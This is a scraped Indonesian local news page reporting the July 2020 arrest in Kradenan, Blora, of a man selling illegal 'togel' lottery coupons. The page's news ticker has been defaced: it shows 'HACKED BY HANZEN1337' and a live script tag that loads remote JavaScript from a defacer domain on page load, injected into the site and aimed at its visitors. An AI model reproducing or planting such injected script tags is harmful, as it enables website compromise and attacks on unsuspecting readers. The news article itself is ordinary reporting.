News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polsek Kradenan Blora Amankan Seorang Pelaku Perjudian Jenis Togel

Polsek Kradenan Blora Amankan Seorang Pelaku Perjudian Jenis Togel

Blora - Jajaran Kepolisian Resor (Polres Blora) Polda Jawa Tengah, kembali berhasil mengamankan satu orang tersangka pelaku judi togel di wilayah Kabupaten Blora. Kali ini giliran anggota Unit Reskrim Polsek Kradenan yang berhasil mengamankan seorang pria yang diduga kuat sebagai pelaku penjual kupon perjudian jenis toto gelap (togel), di wilayah Kecamatan Kradenan Kabupaten Blora.
 
 
Kapolres Blora, AKBP Ferry Irawan SIK melalui Kapolsek Kradenan AKP Sugiharto SH, pada Kamis (09/07/2020). menjelaskan bahwa kronologis penangkapan pelaku oleh anggota saat personel Unit Reskrim Polsek Kradenan berawal dari adanya informasi dari warga, bahwa ada kegiatan penjualan kupon perjudian jenis toto gelap (togel), sehingga petugas segera melakukan serangkaian penyelidikan, akan kebenaran informasi tersebut, hingga dikethui identitas pelaku.
 
Kemudian pada Senin (06/07/2020) pukul 21.30 WIB, petugas langsung melakukan penyelidikan lebih lanjut. Pelaku yang sudah menjadi target operasi,  selanjutnya dibuntuti petugas dari belakang dan langsung berhasil mengamankannya di wilayah jalan raya Menden-Peting.
 
"Setelah dilakukan penyelidikan di lokasi yang dimaksud, ternyata benar adanya perjudian jenis togel. Petugas langsung membututi pelaku dari belakang, dan berhasil ditangkap di jalan raya Menden-Peting, ketika pelaku hendak pulang ke rumah untuk melakukan rekap hasil penjualan kupon togel." ujar Kapolsek Kradenan AKP Sugiharto SH, Kamis (09/07/2020).
 
 

Pelaku AB (33) warga Dukuh Kalirejo Kecamatan Kradenan Blora, saat diamankan petugas di mapolsek Kradenan Polres Blora

 
Kapolsek menjelaskan untuk identitas pelaku berinisial AB (33) warga Dukuh Kalirejo Kecamatan Kradenan Blora diamankan tanpa perlawanan berikut dengan barang buktinya berupa uang tunai sebesar Rp 473 ribu, 6 lembar kertas catatan angka taruhan, 1 unit sepeda motor yang digunakan pelaku, dan 1 buah HP Smartphone merk Samsung J1.
 
"Tersangka AB berikut barang bukti selanjutnya dibawa dan diamankan ke Mapolsek Kradenan, untuk penyidikan lebih lanjut. Dari hasil interogasi, tersangka mengakui perbuatannya telah melakukan penjualan nomor togel," kata Kapolsek.
 
 
 
Akibat perbuatannya kini tersangka dijerat dengan Pasal 303 KUHP tentang perjudian. "Tersangka diancam dengan ancaman kurungan penjara paling lama 10 tahun. (teg/imm)
 
Berita Terkait
1783890617.7752 at start, 1783890618.3271 at end, 0.55187797546387 sec elapsed